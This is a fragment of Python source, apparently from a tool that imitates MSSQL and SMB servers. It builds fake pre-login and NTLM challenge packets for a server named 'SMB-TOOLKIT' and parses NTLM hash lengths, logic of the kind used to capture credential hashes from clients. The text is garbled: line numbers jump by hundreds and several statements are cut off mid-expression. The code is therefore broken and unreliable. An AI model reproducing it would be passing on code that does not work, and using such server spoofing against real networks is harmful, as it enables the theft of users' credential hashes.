386 | ("Terminator", "\x0d\x0a"), 387 | ]) 388 | 389 | ##### SQL Packets ##### 390 | class MSSQLPreLoginAnswer(Packet): 391 | fields = OrderedDict([ 392 | ("PacketType", "\x04"), 393 | ("Status", "\x01"), 394 | ("Len", "\x00\x25"), 395 | ("SPID", "\x00\x00"), 396 | ("PacketID", "\x01"), 397 | ("Window", "\x00"), 398 | ("TokenType", "\x00"), 399 | ("VersionOffset", "\x00\x15"), 400 | ("VersionLen", "\x00\x06"), 401 | ("TokenType1", "\x01"), 402 | ("EncryptionOffset", "\x00\x1b"), 403 | ("EncryptionLen", "\x00\x01"), 404 | ("TokenType2", "\x02"), 405 | ("InstOptOffset", "\x00\x1c"), 406 | ("InstOptLen", "\x00\x01"), 407 | ("TokenTypeThrdID", "\x03"), 408 | ("ThrdIDOffset", "\x00\x1d"), 409 | ("ThrdIDLen", "\x00\x00"), 410 | ("ThrdIDTerminator", "\xff"), 411 | ("VersionStr", "\x09\x00\x0f\xc3"), 412 | ("SubBuild", "\x00\x00"), 413 | ("EncryptionStr", "\x02"), 414 | ("InstOptStr", "\x00"), 415 | ]) 416 | 417 | def calculate(self): 418 | CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) 419 | VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) 420 | EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) 421 | InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) 422 | ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) 423 | 424 | self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) 425 | #Version 426 | self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) 427 | self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) 428 | #Encryption 429 | self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) 430 | self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) 431 | #InstOpt 432 | self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) 433 | self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) 434 | #ThrdIDOffset 435 | self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) 436 | 437 | class MSSQLNTLMChallengeAnswer(Packet): 438 | fields = OrderedDict([ 439 | ("PacketType", "\x04"), 440 | ("Status", "\x01"), 441 | ("Len", "\x00\xc7"), 442 | ("SPID", "\x00\x00"), 443 | ("PacketID", "\x01"), 444 | ("Window", "\x00"), 445 | ("TokenType", "\xed"), 446 | ("SSPIBuffLen", "\xbc\x00"), 447 | ("Signature", "NTLMSSP"), 448 | ("SignatureNull", "\x00"), 449 | ("MessageType", "\x02\x00\x00\x00"), 450 | ("TargetNameLen", "\x06\x00"), 451 | ("TargetNameMaxLen", "\x06\x00"), 452 | ("TargetNameOffset", "\x38\x00\x00\x00"), 453 | ("NegoFlags", "\x05\x02\x89\xa2"), 454 | ("ServerChallenge", ""), 455 | ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), 456 | ("TargetInfoLen", "\x7e\x00"), 457 | ("TargetInfoMaxLen", "\x7e\x00"), 458 | ("TargetInfoOffset", "\x3e\x00\x00\x00"), 459 | ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), 460 | ("TargetNameStr", "SMB"), 461 | ("Av1", "\x02\x00"),#nbt name 462 | ("Av1Len", "\x06\x00"), 463 | ("Av1Str", "SMB"), 464 | ("Av2", "\x01\x00"),#Server name 465 | ("Av2Len", "\x14\x00"), 466 | ("Av2Str", "SMB-TOOLKIT"), 467 | ("Av3", "\x04\x00"),#Full Domain name 468 | ("Av3Len", "\x12\x00"), 469 | ("Av3Str", "smb.local"), 470 | ("Av4", "\x03\x00"),#Full machine domain name 471 | ("Av4Len", "\x28\x00"), 472 | ("Av4Str", "server2003.smb.local"), 473 | ("Av5", "\x05\x00"),#Domain Forest Name 474 | ("Av5Len", "\x12\x00"), 475 | ("Av5Str", "smb.local"), 476 | ("Av6", "\x00\x00"),#AvPairs Terminator 477 | ("Av6Len", "\x00\x00"), 478 | ]) 479 | 480 | def calculate(self): 481 | # First convert to unicode 482 | self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') 483 | self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') 484 | self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') 485 | self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') 486 | self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') 487 | self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') 488 | 489 | # Then calculate 490 | CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) 491 | CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) 492 | CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) 493 | CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) 494 | CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) 495 | 496 | self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) 497 | self.fields["SSPIBuffLen"] = struct.pack("i", len(CalculatePacketLen)) 757 | self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) 758 | self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) 759 | ##### Workstation Offset Calculation: 760 | self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) 1223 | self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) 1224 | self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) 1225 | self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) 1226 | self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) 1227 | self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) 1228 | 1229 | ###### Andxoffset calculation. 1230 | CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen 1231 | self.fields["Andxoffset"] = struct.pack(" 24: 1314 | NthashLen = 64 1315 | DomainLen = struct.unpack('